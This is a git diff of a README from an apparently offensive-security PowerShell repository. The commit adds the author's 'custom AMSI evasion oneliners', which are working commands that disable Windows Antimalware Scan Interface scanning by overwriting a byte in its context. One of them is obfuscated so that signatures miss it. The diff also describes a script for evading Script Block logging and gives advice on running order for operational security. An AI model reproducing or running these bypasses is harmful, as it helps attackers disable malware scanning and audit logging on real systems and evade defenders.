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Mariusz B 2020-04-08 13:34:29 +02:00 committed by GitHub
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@ -79,6 +79,17 @@ PS > "amsiInitFailed"
amsiInitFailed amsiInitFailed
``` ```
- OH, by the way - you can grab **my custom AMSI evasion oneliners** below - perfect for a one-shot use cases:
* Technique 1A: Overwrite `AmsiUtils.amsiContext`'s object (`_HAMSICONTEXT.Signature`) byte. Length: 146 bytes.
```
[Runtime.InteropServices.Marshal]::WriteByte((([Ref].Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5)
```
* Technique 1B: Same as 1A, but obfuscated variant. (256 bytes)
```
$h=[TyPE]('{5}{2}{4}{0}{3}{1}'-f'er','L','Un','viCes.maRShA','TIME.INTErOPS','r');Sv('W'+'e') ([tYpe]('{1}{0}'-f'EF','r'));(gET-vAriABLE h).vAlue::WriteByte((($wE.Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5)
```
- **`Disable-ScriptLogging.ps1`** - Tries to evade Script Block logging by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords. - **`Disable-ScriptLogging.ps1`** - Tries to evade Script Block logging by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords.
*Warning:* This scriptlet should be launched first, before `Disable-Amsi.ps1` for better OpSec experience. *Warning:* This scriptlet should be launched first, before `Disable-Amsi.ps1` for better OpSec experience.